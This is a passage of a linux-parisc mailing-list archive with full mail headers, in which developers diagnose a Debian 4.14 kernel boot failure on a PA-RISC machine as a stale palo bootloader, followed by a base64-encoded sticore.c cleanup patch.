 GioeVzRJ8Mw+GXkVd1ZuNRa42X3ErqSwnxRmAoCG64iyphATlAwlnB4hCX3cWXCxVEFyjSpZS
 bxoSNIbjLDXzOgGQs6Ff8K5Ggw9VXOButTEsdPCNvu0P0Lx4chmZFsalLp6hWxkf9k8I38f6G
 GAo10MfYbc4SpjvSXLhIqTNQI8yyC8MXP/6M+4maYYToknhZGwX6glFa+zDxH+Mme4wbLF5hq
 HI09BGjKgIcWKoXnQVnidRN+77GDFewASLUXREb2WCvlfRE9lBpEVMxI6/wzMz7L469YfRljB
 4SGrzTo2LdA0rdbpw4z/57FlOL9pXrhnv2h1U03kCWfig4rv44Yu1upRcNexFx+3/mAHUCWhf
 dSt3Bm4VNFfn/+uTbVf6te1U8e4XYKzvNq8Dv84gMRzOMXOuatDOnO/yeIDEBQSYtOEYt9ZoE
 fuZdxfkCDCzxzPe2QYsbErKYs2vaYsSwqdpixdh3IYnwDblJNJC9srVzg/1+/cT6ldNMggynO
 GxVoWmq6f8qymUFgwlS4G9XPX4kkr15NbLYJmGpZyaG0P3aGuhSClVatHlZK9joAjPvll+LiI
 rkvZXUMGW4K1fz/nhBJ+qfEgfXnGVBt332tNFRtXYJhPBydhQIUN3cZt8QcmJGt5ILp5g1i/R
 oZ5x48xw/eermz2wXbRlt7titQCbkkDuLM/HgLpv6UxZWcHFxkj38pp+jOyKprcIBRnTr75H 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28027
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28027>

On 03.12.2017 21:21, Helge Deller wrote:
> On 03.12.2017 17:54, John David Anglin wrote:
>> Fails early, probably in palo.  I don't have a boot log as the machine has a graphics console.
>>
>> ii  linux-image-4.13.0-1-parisc64-smp          4.13.13-1     hppa         Linux 4.13 for multiprocessor 64-bit PA-RISC
>> ii  linux-image-4.14.0-1-parisc64-smp          4.14.2-1      hppa         Linux 4.14 for multiprocessor 64-bit PA-RISC
>>
>> The 4.13.13-1 kernel boots okay.
>>
>> root@hiauly6:/var/log# dpkg -l palo
>> ii  palo                               1.99                   hppa                   Linux boot loader for HP PA-RISC
> 
> Strange.
> It works nicely for me on my C3700 machine:

palo shows this layout:

> Segment 0 load 00100000 size 463104 mediaptr 0x1000
> Segment 1 load 00172000 <tel:00172000> size 210976 mediaptr 0x73000
> Segment 2 load 00200000 <tel:00200000> size 10634416 mediaptr 0xa7000
> Segment 3 load 00c25000 size 3194732 mediaptr 0xacc000
> Segment 4 load 01000000 size 2631320 mediaptr 0xdd8000

See: Segment 4 is >= 0x01000000.

Are you sure that you have run "palo" once that version 1.99 of the palo IPL is installed in your
boot sector?  Just having palo 1.99 installed in the Linux filesystems is not sufficient.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Debian vmlinux-4.14.0-1-parisc64-smp fails to boot on c3750
Date: Sun, 3 Dec 2017 15:37:25 -0500
Lines: 56
Approved: news@gmane.org
Message-ID: <30E98BD7-6BDC-4CAA-AFE6-99B02647D429@bell.net>
References: <008A2452-42ED-45E9-8FDE-69757C9D6962@bell.net> <5b767291-0b39-b38b-26f6-80bb6f462032@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1512333447 15922 195.159.176.226 (3 Dec 2017 20:37:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 3 Dec 2017 20:37:27 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 03 21:37:21 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eLb0p-0003TX-QT
	for glpp-linux-parisc@m.gmane.org; Sun, 03 Dec 2017 21:37:20 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751675AbdLCUh1 convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 3 Dec 2017 15:37:27 -0500
Original-Received: from simcoe208srvr.owm.bell.net ([184.150.200.208]:47231 "EHLO
        torfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1751432AbdLCUh1 (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 3 Dec 2017 15:37:27 -0500
Original-Received: from bell.net torfep02 184.150.200.158 by torfep02.bell.net
          with ESMTP
          id <20171203203725.VTF6428.torfep02.bell.net@torspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sun, 3 Dec 2017 15:37:25 -0500
Original-Received: from [192.168.2.25] (really [70.51.115.243]) by torspm02.bell.net
          with ESMTP
          id <20171203203725.NZVE31064.torspm02.bell.net@[192.168.2.25]>;
          Sun, 3 Dec 2017 15:37:25 -0500
In-Reply-To: <5b767291-0b39-b38b-26f6-80bb6f462032@gmx.de>
X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=QPOHfkDL c=1 sm=0 tr=0 a=UgMXoOu0F2skVU81nElf8A==:17 a=kj9zAlcOel0A:10 a=ocR9PWop10UA:10 a=_A5TAQVKAAAA:8 a=FBHGMhGWAAAA:8 a=nn8P74qOXNKWqwfkoZkA:9 a=CjuIK1q_8ugA:10 a=ypw9U9_ytwuNp2HAL0_X:22 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28028
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28028>

On 2017-12-03, at 3:21 PM, Helge Deller wrote:

> On 03.12.2017 17:54, John David Anglin wrote:
>> Fails early, probably in palo.  I don't have a boot log as the machine has a graphics console.
>> 
>> ii  linux-image-4.13.0-1-parisc64-smp          4.13.13-1     hppa         Linux 4.13 for multiprocessor 64-bit PA-RISC
>> ii  linux-image-4.14.0-1-parisc64-smp          4.14.2-1      hppa         Linux 4.14 for multiprocessor 64-bit PA-RISC
>> 
>> The 4.13.13-1 kernel boots okay.
>> 
>> root@hiauly6:/var/log# dpkg -l palo
>> ii  palo                               1.99                   hppa                   Linux boot loader for HP PA-RISC
> 
> 
> Strange.
> It works nicely for me on my C3700 machine:
> 
> 
> palo ipl 1.99 http://www.parisc-linux.org - Fri, 18 Aug 2017 11:50:44 +0200
> Skipping extended partition 6 - beyond reach of IPL
> 
> Partition Start(MB) End(MB) Id Type
> 1               2      33   f0 Palo
> 2              34     157   83 ext2
> 5             159   134887   83 ext2
> 
> PALO(F0) partition contains:
>    0/vmlinux64 18847280(0) bytes @ 0x140000
> 
> Information: No console specified on kernel command line. This is normal.
> PALO will choose the console currently used by firmware (serial).
> Command line for kernel: 'root=LABEL=ROOT rootfstype=ext4 HOME=/ panic_timeout=60 panic=-1 console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux'
> Selected kernel: /vmlinux from partition 2
> Selected ramdisk: /initrd.img from partition 2
> ELF64 executable
> Entry 00100000 first 00100000 n 5
> Segment 0 load 00100000 size 463104 mediaptr 0x1000
> Segment 1 load 00172000 size 210976 mediaptr 0x73000
> Segment 2 load 00200000 size 10634416 mediaptr 0xa7000
> Segment 3 load 00c25000 size 3194732 mediaptr 0xacc000
> Segment 4 load 01000000 size 2631320 mediaptr 0xdd8000

Console output stops at the above line.  I'm using VisEG console (tty).  Also, on rp3440 command line console
changed from ttyS1 to ttyS0.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Debian vmlinux-4.14.0-1-parisc64-smp fails to boot on c3750
Date: Sun, 3 Dec 2017 21:52:58 +0100
Lines: 65
Approved: news@gmane.org
Message-ID: <eb872edb-ccb9-f533-c435-77f2c1cdb308@gmx.de>
References: <008A2452-42ED-45E9-8FDE-69757C9D6962@bell.net>
 <5b767291-0b39-b38b-26f6-80bb6f462032@gmx.de>
 <30E98BD7-6BDC-4CAA-AFE6-99B02647D429@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1512334384 2186 195.159.176.226 (3 Dec 2017 20:53:04 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 3 Dec 2017 20:53:04 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.4.0
Cc: linux-parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 03 21:52:59 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eLbFy-0000En-H9
	for glpp-linux-parisc@m.gmane.org; Sun, 03 Dec 2017 21:52:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751597AbdLCUxF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 3 Dec 2017 15:53:05 -0500
Original-Received: from mout.gmx.net ([212.227.17.22]:59566 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751403AbdLCUxF (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 3 Dec 2017 15:53:05 -0500
Original-Received: from [192.168.20.60] ([193.159.26.155]) by mail.gmx.com (mrgmx101
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0MQvDO-1eVx7y2sm6-00UIWP; Sun, 03
 Dec 2017 21:53:00 +0100
In-Reply-To: <30E98BD7-6BDC-4CAA-AFE6-99B02647D429@bell.net>
Content-Language: en-US
X-Provags-ID: V03:K0:6Kwj5OkY+kYQ/k7SWONmf8m1av/WimNlspPBzXKrU5GKj+wWThQ
 W9MhNGfU+tgp3ClpVAMza9d1hYWjEKdaaYA3RgtwyBXKhTYhVxKLmM2IEU+I4s1AoNoka2C
 pIXG9XWd4C5YE5/R5fPqo7xUS15I+npIhWTmMq3eMSKKPx4vdSob7d01z0xreC+irJpDQWH
 xMmBvX7csF7WCuqxs37Ew==
X-UI-Out-Filterresults: notjunk:1;V01:K0:owQkZRv4nfg=:jok9skA7XAqZANFj9Zjve0
 vmqXl9aBqtMODba1JpKpe7BH3CRJl6yWB9118mr/NXoFYIMhKK5v7vhenyqUL6O769rsMDYr4
 7MiQkbPNInFbw4juB8gahjstIdu9V5lnnVIpTLc25snuzXhCVpAZzoDO/TxqTy2D5+92gDrKO
 N3xexzVlkGyELhRJxirTWoMyuVnBF5aAxcdczu3rMrJGQLd21c2S9szAzaguMQZfpVqlWUAQc
 n1wUKEBkGDX8V0rYjFoJV9rUrxXJm7gucwk64fruqlHw8iQ161szR23qjvpDP+llZON2F9oPK
 h9E+0jrpYlhqo0P/g9u7uXo7eHtZPQK8RhTxOzsJY/Kf2Y+ELcmAZKKDOroT6GN9nE+QgTEUc
 c7pGb+6RD4TuVCsJlW5qMjqYrI66ouL+wJusk5Q25thK2RYpLOK36Jyg7w22yiQY7UB+zWmXS
 FfUnJjhXGcm7UhmuqHsOnLo7SJXwdG2KIZecCg/CSdGxvihhKo4Stdll/lhEuiH15h4SbmeLi
 DoDqbmnYyXWsOaffAOtQfhmvHUlGdEuPGJCe9ycubzaKUJ4YGIXpdJU7d5JYVTHAQdsxTGxhk
 twuy8Dxzgj/+KJMZqfMO01DdXLFeM5qsl0xeCXnnHdWyUnZr6ktHtH1hv6vxHzbk3Hw/WHiab
 FBnZjuy4bHkriW81EnHkf7IqznezsQW/vQ40LBJrVfhUGTQ0/Lao2hLqzKXSVsqcpwPH9LfAX
 YEb0X59QARfvNePXwVYS4koGvctUL0HMwnaXYG/NVzzgZ7CJrabLNUQdg+9P32GpDxD3soDj 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28029
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28029>

On 03.12.2017 21:37, John David Anglin wrote:
> On 2017-12-03, at 3:21 PM, Helge Deller wrote:
> 
>> On 03.12.2017 17:54, John David Anglin wrote:
>>> Fails early, probably in palo.  I don't have a boot log as the machine has a graphics console.
>>>
>>> ii  linux-image-4.13.0-1-parisc64-smp          4.13.13-1     hppa         Linux 4.13 for multiprocessor 64-bit PA-RISC
>>> ii  linux-image-4.14.0-1-parisc64-smp          4.14.2-1      hppa         Linux 4.14 for multiprocessor 64-bit PA-RISC
>>>
>>> The 4.13.13-1 kernel boots okay.
>>>
>>> root@hiauly6:/var/log# dpkg -l palo
>>> ii  palo                               1.99                   hppa                   Linux boot loader for HP PA-RISC
>>
>>
>> Strange.
>> It works nicely for me on my C3700 machine:
>>
>>
>> palo ipl 1.99 http://www.parisc-linux.org - Fri, 18 Aug 2017 11:50:44 +0200
>> Skipping extended partition 6 - beyond reach of IPL
>>
>> Partition Start(MB) End(MB) Id Type
>> 1               2      33   f0 Palo
>> 2              34     157   83 ext2
>> 5             159   134887   83 ext2
>>
>> PALO(F0) partition contains:
>>    0/vmlinux64 18847280(0) bytes @ 0x140000
>>
>> Information: No console specified on kernel command line. This is normal.
>> PALO will choose the console currently used by firmware (serial).
>> Command line for kernel: 'root=LABEL=ROOT rootfstype=ext4 HOME=/ panic_timeout=60 panic=-1 console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux'
>> Selected kernel: /vmlinux from partition 2
>> Selected ramdisk: /initrd.img from partition 2
>> ELF64 executable
>> Entry 00100000 first 00100000 n 5
>> Segment 0 load 00100000 size 463104 mediaptr 0x1000
>> Segment 1 load 00172000 <tel:00172000> size 210976 mediaptr 0x73000
>> Segment 2 load 00200000 <tel:00200000> size 10634416 mediaptr 0xa7000
>> Segment 3 load 00c25000 size 3194732 mediaptr 0xacc000
>> Segment 4 load 01000000 size 2631320 mediaptr 0xdd8000
> 
> Console output stops at the above line.

If it stops here it's can be an indication that you still have an old palo
bootloader code in your boot sector of the boot disc.
palo version 1.96 had the fix for segments above 0x01000000.

> I'm using VisEG console (tty).  Also, on rp3440 command line console
> changed from ttyS1 to ttyS0.

palo v1.98 was the first version which enabled ttyS1 on rp3440 machines...

My suggestion:
Boot into kernel 4.13.13 and run "palo -v" once (check your /etc/palo.conf too).
Afterwards reboot and try 4.14 again.
Watch to boot console, esp. the palo version printed after the "HARD Booted." message.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Debian vmlinux-4.14.0-1-parisc64-smp fails to boot on c3750
Date: Sun, 3 Dec 2017 15:53:53 -0500
Lines: 20
Approved: news@gmane.org
Message-ID: <BE077D1B-C113-4BBF-8F61-1850AEAAED78@bell.net>
References: <008A2452-42ED-45E9-8FDE-69757C9D6962@bell.net> <5b767291-0b39-b38b-26f6-80bb6f462032@gmx.de> <7df24e2b-24b4-c62d-eff6-33813c883280@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1512334433 11871 195.159.176.226 (3 Dec 2017 20:53:53 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 3 Dec 2017 20:53:53 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 03 21:53:49 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eLbGl-0000En-Pk
	for glpp-linux-parisc@m.gmane.org; Sun, 03 Dec 2017 21:53:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752233AbdLCUxz convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 3 Dec 2017 15:53:55 -0500
Original-Received: from belmont80srvr.owm.bell.net ([184.150.200.80]:50862 "EHLO
        mtlfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1752018AbdLCUxz (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 3 Dec 2017 15:53:55 -0500
Original-Received: from bell.net mtlfep02 184.150.200.30 by mtlfep02.bell.net
          with ESMTP
          id <20171203205353.GMZJ15985.mtlfep02.bell.net@mtlspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sun, 3 Dec 2017 15:53:53 -0500
Original-Received: from [192.168.2.25] (really [70.51.115.243]) by mtlspm02.bell.net
          with ESMTP
          id <20171203205353.QYZE6415.mtlspm02.bell.net@[192.168.2.25]>;
          Sun, 3 Dec 2017 15:53:53 -0500
In-Reply-To: <7df24e2b-24b4-c62d-eff6-33813c883280@gmx.de>
X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=OZx3NlbY c=1 sm=0 tr=0 a=UgMXoOu0F2skVU81nElf8A==:17 a=kj9zAlcOel0A:10 a=ocR9PWop10UA:10 a=FBHGMhGWAAAA:8 a=aFGfHpklaefq5WYUSGsA:9 a=CjuIK1q_8ugA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28030
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28030>

On 2017-12-03, at 3:36 PM, Helge Deller wrote:

> Are you sure that you have run "palo" once that version 1.99 of the palo IPL is installed in your
> boot sector?  Just having palo 1.99 installed in the Linux filesystems is not sufficient.

That was it.  The palo.conf file had a couple of problems and palo didn't run fully.  The boot
drive had changed from /dev/sda to /dev/sdb...

Thanks,
Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: SF Markus Elfring <elfring@users.sourceforge.net>
Newsgroups: gmane.comp.video.dri.devel,gmane.linux.ports.parisc,gmane.linux.kernel.janitors,gmane.linux.kernel
Subject: [PATCH] video/console/sticore: Delete an error message for a failed
 memory allocation in sti_try_rom_generic()
Date: Tue, 5 Dec 2017 19:00:22 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <6b8dde60-0550-5fb3-c7a5-5f6282259186@users.sourceforge.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1512496839 29672 195.159.176.226 (5 Dec 2017 18:00:39 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 5 Dec 2017 18:00:39 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.0
Cc: kernel-janitors@vger.kernel.org, LKML <linux-kernel@vger.kernel.org>
To: linux-fbdev@vger.kernel.org, linux-parisc@vger.kernel.org,
 dri-devel@lists.freedesktop.org,
 Bartlomiej Zolnierkiewicz <b.zolnierkie@samsung.com>,
 Helge Deller <deller@gmx.de>, "James E. J. Bottomley" <jejb@parisc-linux.org>
Original-X-From: dri-devel-bounces@lists.freedesktop.org Tue Dec 05 19:00:34 2017
Return-path: <dri-devel-bounces@lists.freedesktop.org>
Envelope-to: sf-dri-devel@m.gmane.org
Original-Received: from gabe.freedesktop.org ([131.252.210.177])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <dri-devel-bounces@lists.freedesktop.org>)
	id 1eMHWA-0007Kg-Db
	for sf-dri-devel@m.gmane.org; Tue, 05 Dec 2017 19:00:30 +0100
Original-Received: from gabe.freedesktop.org (localhost [127.0.0.1])
	by gabe.freedesktop.org (Postfix) with ESMTP id E427D6E12E;
	Tue,  5 Dec 2017 18:00:36 +0000 (UTC)
X-Original-To: dri-devel@lists.freedesktop.org
Delivered-To: dri-devel@lists.freedesktop.org
Original-Received: from mout.web.de (mout.web.de [212.227.15.4])
 by gabe.freedesktop.org (Postfix) with ESMTPS id 351386E12E
 for <dri-devel@lists.freedesktop.org>; Tue,  5 Dec 2017 18:00:34 +0000 (UTC)
Original-Received: from [192.168.1.3] ([77.181.246.157]) by smtp.web.de (mrweb001
 [213.165.67.108]) with ESMTPSA (Nemesis) id 0MK2JZ-1eLSAh3xg5-001S3q; Tue, 05
 Dec 2017 19:00:27 +0100
Content-Language: en-GB
X-Provags-ID: V03:K0:CeTon/09FpI5rsFRBJGkddZ+lXVu7j4bdCNcEjLyFhrAhQzYBDP
 Luje+BufsOZaj+VlrHOlNroTuLIlylreWWpuE07iV74ZoOMn+811qHo61g5MIfCjHgAJeXa
 nKekF58vOl1p5s5EHYT+AJaERpH3sQrkv4rfF1aKtW/z96JeNA+HBLDhRXwApf6h01nKWF8
 73GG5Qs01IGcCn0mFGL3A==
X-UI-Out-Filterresults: notjunk:1;V01:K0:5jwDyvfyIh8=:P/0rIHWM3o9JqxJbaKvicJ
 W8LRVsmxfYctZNfPHbUZykGrOTLK3IBCN4+XHiJuyzPv54/V/Trxm3Cx9WjTa5GZ/7N9hh1Vo
 B6Ww3f7LGbnXznIOqaG1u8paK5wWpc3/zqrHhnrkPx4NI/b/9wsfEDN1UD7c0nGjVRE4Wlrsw
 5mDIpzUmVSlLFXO1eO7zwVFYR9dMsnx7P/RiWDkSwewytswzSWuXzLgIErFv9mKhxdFxUm1Lx
 kUyrpOYUhuj2JWvVpHDFMW5I8jL/akuLbgbiK2wCXoJAjjXQMpgftzjrxFog8rHNCmmzL4f1D
 l5gTmQpVVTNkYDan0DRjrK2MVXJYr5oMHKdA8M0FpFZ5oHtz8gOWDomsBkbtzsHk7nCe17cPz
 Xb4/FcwRAIAmfS4zDswmHDTpXrWc7Hdo96RDCCxaERJ3McNDbmhSE6lHeFx7HK9o3yq9r+BIf
 tuoXYNyC11VmED6vtDYmgxkMJhiRmgJNiPJXNKiJU5qFOh2z7yAZTOld7q62X+mJwSJsZwmCW
 hPZ5lDFK90N3YmpHwP6hPuFb31KcRQuEiNm8zUG/s2TNMDaign6YslWfD3SR1b+xhmZbTyRiF
 mRvWhCP1G5QYE7GD9TDn0pOAzO5LqobD2WA00zX1j0ETMzmGmrvO5VC9hG3mBrj5b20vnLxq7
 kSIA5j0rqr9idN8LBnJnnBLYRMgqstPpTDFH7vprxH2qtihsF3EtIMMtUJj/1YZn6EMen71Ua
 Zxs1jQ9E2IehdQzixXLlX7fTleU7LpHxS5JmE17551jBx2IdyHBJM2AxiAbpnPVzH6t53Jol 
X-BeenThere: dri-devel@lists.freedesktop.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: Direct Rendering Infrastructure - Development
 <dri-devel.lists.freedesktop.org>
List-Unsubscribe: <https://lists.freedesktop.org/mailman/options/dri-devel>,
 <mailto:dri-devel-request@lists.freedesktop.org?subject=unsubscribe>
List-Archive: <https://lists.freedesktop.org/archives/dri-devel>
List-Post: <mailto:dri-devel@lists.freedesktop.org>
List-Help: <mailto:dri-devel-request@lists.freedesktop.org?subject=help>
List-Subscribe: <https://lists.freedesktop.org/mailman/listinfo/dri-devel>,
 <mailto:dri-devel-request@lists.freedesktop.org?subject=subscribe>
Errors-To: dri-devel-bounces@lists.freedesktop.org
Original-Sender: "dri-devel" <dri-devel-bounces@lists.freedesktop.org>
Xref: news.gmane.org gmane.comp.video.dri.devel:206193 gmane.linux.ports.parisc:28031 gmane.linux.kernel.janitors:49852 gmane.linux.kernel:2634470
Archived-At: <http://permalink.gmane.org/gmane.comp.video.dri.devel/206193>

RnJvbTogTWFya3VzIEVsZnJpbmcgPGVsZnJpbmdAdXNlcnMuc291cmNlZm9yZ2UubmV0PgpEYXRl
OiBUdWUsIDUgRGVjIDIwMTcgMTg6NDU6NDIgKzAxMDAKCk9taXQgYW4gZXh0cmEgbWVzc2FnZSBm
b3IgYSBtZW1vcnkgYWxsb2NhdGlvbiBmYWlsdXJlIGluIHRoaXMgZnVuY3Rpb24uCgpUaGlzIGlz
c3VlIHdhcyBkZXRlY3RlZCBieSB1c2luZyB0aGUgQ29jY2luZWxsZSBzb2Z0d2FyZS4KClNpZ25l
ZC1vZmYtYnk6IE1hcmt1cyBFbGZyaW5nIDxlbGZyaW5nQHVzZXJzLnNvdXJjZWZvcmdlLm5ldD4K
LS0tCiBkcml2ZXJzL3ZpZGVvL2NvbnNvbGUvc3RpY29yZS5jIHwgNCArLS0tCiAxIGZpbGUgY2hh
bmdlZCwgMSBpbnNlcnRpb24oKyksIDMgZGVsZXRpb25zKC0pCgpkaWZmIC0tZ2l0IGEvZHJpdmVy
cy92aWRlby9jb25zb2xlL3N0aWNvcmUuYyBiL2RyaXZlcnMvdmlkZW8vY29uc29sZS9zdGljb3Jl
LmMKaW5kZXggZDFkMzc5Njc3M2FhLi4wOGI4MjI2NTY4NDYgMTAwNjQ0Ci0tLSBhL2RyaXZlcnMv
dmlkZW8vY29uc29sZS9zdGljb3JlLmMKKysrIGIvZHJpdmVycy92aWRlby9jb25zb2xlL3N0aWNv
cmUuYwpAQCAtODI3LDEwICs4MjcsOCBAQCBzdGF0aWMgc3RydWN0IHN0aV9zdHJ1Y3QgKnN0aV90
cnlfcm9tX2dlbmVyaWModW5zaWduZWQgbG9uZyBhZGRyZXNzLAogCX0KIAkKIAlzdGkgPSBremFs
bG9jKHNpemVvZigqc3RpKSwgR0ZQX0tFUk5FTCk7Ci0JaWYgKCFzdGkpIHsKLQkJcHJpbnRrKEtF
Uk5fRVJSICJOb3QgZW5vdWdoIG1lbW9yeSAhXG4iKTsKKwlpZiAoIXN0aSkKIAkJcmV0dXJuIE5V
TEw7Ci0JfQogCiAJc3Bpbl9sb2NrX2luaXQoJnN0aS0+bG9jayk7CiAKLS0gCjIuMTUuMQoKX19f
X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX18KZHJpLWRldmVsIG1h
aWxpbmcgbGlzdApkcmktZGV2ZWxAbGlzdHMuZnJlZWRlc2t0b3Aub3JnCmh0dHBzOi8vbGlzdHMu
ZnJlZWRlc2t0b3Aub3JnL21haWxtYW4vbGlzdGluZm8vZHJpLWRldmVsCg==


From - Thu Nov 08 21:40:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>
Newsgroups: gmane.linux.ports.ppc64.devel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCHv4 5/6] symbol lookup: introduce
 dereference_symbol_descriptor()
Date: Wed, 6 Dec 2017 19:46:56 +0900
Lines: 60
Approved: news@gmane.org
Message-ID: <20171206104656.GC462@jagdpanzerIV>
References: <20171109234830.5067-1-sergey.senozhatsky@gmail.com>
 <20171109234830.5067-6-sergey.senozhatsky@gmail.com>
 <20171206043649.GB15885@jagdpanzerIV>
 <20171206103241.t2jbljml7it7wsnz@pathway.suse.cz>
NNTP-Posting-Host: blaine.gmane.org
